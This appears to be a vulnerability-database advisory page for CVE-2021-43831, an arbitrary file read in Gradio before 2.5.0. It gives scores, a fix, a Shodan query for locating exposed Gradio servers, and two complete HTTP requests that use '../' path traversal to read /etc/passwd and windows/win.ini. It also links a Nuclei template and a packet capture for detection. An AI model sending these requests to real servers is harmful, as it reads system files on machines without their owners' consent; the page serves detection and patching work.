🔙 목록으로 돌아가기

CVE-2021-43831: Gradio < 2.5.0 - Arbitrary File Read

TitleGradio < 2.5.0 - Arbitrary File Read
Authorisacaya
SeverityHigh
ImpactAn attacker would be able to view the contents of a file on the computer.
RemediationUpdate to version 2.5.0.
CVSS Score7.7
EPSS Score0.30342
CVE IDCVE-2021-43831
CWE IDCWE-22
Shodan Querytitle:"Gradio"
Tags cve cve2021 lfi gradio vuln

🔍 Vulnerability Description

Files on the host computer can be accessed from the Gradio interface

🌐 HTTP Request

GET /file/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /file/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43831.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43831.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A